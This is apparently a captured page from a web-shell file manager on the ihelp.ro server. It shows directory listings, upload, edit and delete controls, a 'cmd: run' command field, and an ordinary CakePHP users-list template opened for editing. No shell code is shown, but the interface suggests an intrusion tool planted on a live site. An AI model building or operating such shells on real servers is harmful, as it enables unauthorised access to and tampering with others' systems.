/
var
/
www
/
vhosts
/
ihelp.ro
/
_OLD
/
templates
/
Users
/
/var/www/vhosts/ihelp.ro/_OLD/templates/Users
mkdir
upload
Name
Size
Mode
Actions
add.php
950
0644
edit
dl
rm
edit.php
769
0644
edit
dl
rm
list_users.php
3264
0644
edit
dl
rm
login.php
345
0644
edit
dl
rm
view.php
20941
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/_OLD/templates/Users/list_users.php
(3264B)
<?php /** * @var \App\View\AppView $this * @var \App\Model\Entity\User[]|\Cake\Collection\CollectionInterface $users */ ?> <div class="row"> <aside class="column"> <?php echo $this->element('sidebar_dashboard'); ?> </aside> <div class="column-responsive column-80"> <div class="users index content"> <?= $this->Html->link(__('New User'), ['action' => 'add'], ['class' => 'button float-right']) ?> <h3><?= __('Users') ?></h3> <div class="table-responsive"> <table> <thead> <tr> <th><?= $this->Paginator->sort('id') ?></th> <th><?= $this->Paginator->sort('uuid') ?></th> <th><?= $this->Paginator->sort('role_id') ?></th> <th><?= $this->Paginator->sort('email') ?></th> <th><?= $this->Paginator->sort('is_active') ?></th> <th><?= $this->Paginator->sort('created') ?></th> <th><?= $this->Paginator->sort('modified') ?></th> <th class="actions"><?= __('Actions') ?></th> </tr> </thead> <tbody> <?php foreach ($users as $user) : ?> <tr> <td><?= $this->Number->format($user->id) ?></td> <td><?= h($user->uuid) ?></td> <td><?= $user->has('role') ? $this->Html->link($user->role->name, ['controller' => 'Roles', 'action' => 'view', $user->role->id]) : '' ?></td> <td><?= h($user->email) ?></td> <td><?= h($user->is_active) ?></td> <td><?= h($user->created) ?></td> <td><?= h($user->modified) ?></td> <td class="actions"> <?= $this->Html->link(__('View'), ['action' => 'view', $user->uuid]) ?> <?= $this->Html->link(__('Edit'), ['action' => 'edit', $user->uuid]) ?> <?= $this->Form->postLink(__('Delete'), ['action' => 'delete', $user->uuid], ['confirm' => __('Are you sure you want to delete # {0}?', $user->uuid)]) ?> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> <div class="paginator"> <ul class="pagination"> <?= $this->Paginator->first('<< ' . __('first')) ?> <?= $this->Paginator->prev('< ' . __('previous')) ?> <?= $this->Paginator->numbers() ?> <?= $this->Paginator->next(__('next') . ' >') ?> <?= $this->Paginator->last(__('last') . ' >>') ?> </ul> <p><?= $this->Paginator->counter(__('Page {{page}} of {{pages}}, showing {{current}} record(s) out of {{count}} total')) ?></p> </div> </div> </div> </div>
Save
cmd:
run